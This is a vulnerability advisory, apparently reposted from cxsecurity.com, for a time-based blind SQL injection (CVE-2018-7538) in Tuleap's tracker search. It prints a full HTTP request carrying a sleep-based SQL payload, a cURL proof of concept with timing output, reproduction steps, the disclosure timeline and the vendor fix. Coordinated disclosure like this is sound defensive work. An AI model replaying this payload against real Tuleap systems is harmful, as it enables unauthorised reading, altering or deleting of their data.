Tuleap SQL Injection

Risk: Medium
Local: No
Remote: Yes

CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

=============================================================================== title: Tuleap SQL Injection case id: CM-2018-01 product: Tuleap version vulnerability type: Blind SQL injection - time based severity: High found: 2018-02-24 by: Cristiano Maruti (@cmaruti) =============================================================================== [EXECUTIVE SUMMARY] Enalean Tuleap is a project management system for application lifecycles management, agile development and design projects, requirement management, IT services management, and so on. The analysis discovered a time-based blind SQL injection vulnerability (OTG-INPVAL-005) in the tracker functionality of Tuleap software engineering platform. A malicious user can inject arbitrary SQL commands to the application. The vulnerability lies in the project tracker service search functionality; depending on project visibility successful exploitation may or may not require user authentication. A successful attack can read, modify or delete data from the database or, depending on the privilege of the user (default: restricted) and the database engine in use (default: MySQL), execute arbitrary commands on the underlying system. [VULNERABLE VERSIONS] The following version of the Tuleap software was affected by the vulnerability; previous versions may be vulnerable as well: - Tuleap version [TECHNICAL DETAILS] It is possible to reproduce the vulnerability following these steps: 1. Open the tracker service in a publicly visible project 2. Leave all the fields empty and submit the search form while logging the request with the help of an application proxy like Burp or ZAP 3. Copy the previous request and edit the "criteria[499][values][]" field in the request body with the "(select(0)from(select(sleep(3)))a)/**/" payload 4. Send the request to the application 5. Application will respond with a three second delay Below a full transcript of the HTTP request used to raise the vulnerability and also a cURL one liner to highlight the induced delay in the application response. HTTP Request ------------------------------------------------------------------------------- POST /plugins/tracker/?tracker=16 HTTP/1.1 Host: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: Content-Type: application/x-www-form-urlencoded Content-Length: 278 Cookie: __Host-TULEAP_PHPSESSID=r7d1mk87sfn9kadlkh64h25354 Connection: close Upgrade-Insecure-Requests: 1 report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D= &criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D= &criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/ &additional_criteria%5Bcomment%5D=&tracker_query_submit= ------------------------------------------------------------------------------- cURL PoC ------------------------------------------------------------------------------- # time curl -k -X POST -d @sql.txt -H 'Cookie: __Host-TULEAP_PHPSESSID=<VALID>' [OUTPUT TRUNCATED] </script> </body> </html> real 0m3.117s user 0m0.033s sys 0m0.021s # cat sql.txt report=124&criteria%5B504%5D=&criteria%5B489%5D=&criteria%5B495%5D%5Bvalues%5D= &criteria%5B495%5D%5Bvalues%5D%5B%5D=&criteria%5B499%5D%5Bvalues%5D= &criteria%5B499%5D%5Bvalues%5D%5B%5D=(select(0)from(select(sleep(3)))a)/**/ &additional_criteria%5Bcomment%5D=&tracker_query_submit= ------------------------------------------------------------------------------- A copy of the report with technical details about the vulnerability I have identified is available at: https://github.com/cmaruti/reports/blob/master/tuleap.pdf [VULNERABILITY REFERENCE] The following CVE ID was allocated to track the vulnerabilities: CVE-2018-7538 [DISCLOSURE TIMELINE] 2018-02-26 Vulnerability submitted to vendor through e-mail. Vendor requested more info and acknowledged the problem later. 2018-02-27 Researcher requested to allocate a CVE number. 2018-02-27 Vendor released a fix for the reported issue. 2018-03-08 Researcher requested to publicly disclose the issue; public coordinated disclosure. [SOLUTION] Enalean released an update to fix the vulnerability (Tuleap 9.18 or later). Please see the below link for further information released by the vendor: - https://tuleap.net/plugins/tracker/?aid=11192 [REPORT URL] https://github.com/cmaruti/reports/blob/master/tuleap.pdf

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com


Back to Top